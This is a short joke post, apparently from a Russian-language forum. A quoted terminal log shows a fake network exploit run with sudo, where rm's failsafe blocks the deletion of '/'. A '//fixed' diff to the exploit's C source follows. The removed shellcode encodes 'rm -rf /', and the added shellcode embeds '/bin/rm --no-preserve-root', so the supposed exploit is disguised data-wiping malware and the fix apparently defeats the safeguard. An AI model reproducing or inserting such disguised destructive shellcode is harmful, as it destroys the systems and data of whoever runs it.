> Ну, на то и виртуалки. И, кстати, результат забавный:
> [alex@host ~]$ sudo ./a.out 10.0.0.1 22
> MIKU! MIKU! MIKU!
> [-] Exploit failed.
> /bin//rm: it is dangerous to operate recursively on `/'
> /bin//rm: use --no-preserve-root to override this failsafe
> [alex@buzzalex ~]$

//fixed

--- coolxploit.c        2013-02-19 20:00:56.084967001 +0200
+++ coolxploit_fix.c    2013-02-19 20:13:16.276967001 +0200
@@ -29,15 +29,11 @@
     exit(1);
 }
 
-unsigned char decoder[]=   "\x6a\x0b\x58\x99\x52"
-                           "\x6a\x2f\x89\xe7\x52"
-                           "\x66\x68\x2d\x66\x89"
-                           "\xe6\x52\x66\x68\x2d"
-                           "\x72\x89\xe1\x52\x68"
-                           "\x2f\x2f\x72\x6d\x68"
-                           "\x2f\x62\x69\x6e\x89"
-                           "\xe3\x52\x57\x56\x51"
-                           "\x53\x89\xe1\xcd\x80";
+unsigned char decoder[]=   "\xeb\x21\x5e\x31\xc0\x88\x46\x07\x88\x46\x1a\x89\x76\x1b\x8d\x5e\x08"
+                           "\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3\x8d\x4e\x1b\x8d\x56\x23\xcd"
+                           "\x80\xe8\xda\xff\xff\xff\x2f\x62\x69\x6e\x2f\x72\x6d\x4f\x2d\x2d\x6e"
+                           "\x6f\x2d\x70\x72\x65\x73\x65\x72\x76\x65\x2d\x72\x6f\x6f\x74\x4f\x54"
+                           "\x4f\x52\x41\x54\x4f\x52\x41\x54\x4f\x52\x41";
 
 unsigned char rootshell[]= "\x31\xd2\xb2\x0a\xb9\x6f\x75\x21\x0a\x51\xb9\x63\x6b"
                            "\x20\x79\x51\x66\xb9\x66\x75\x66\x51\x31\xc9\x89\xe1"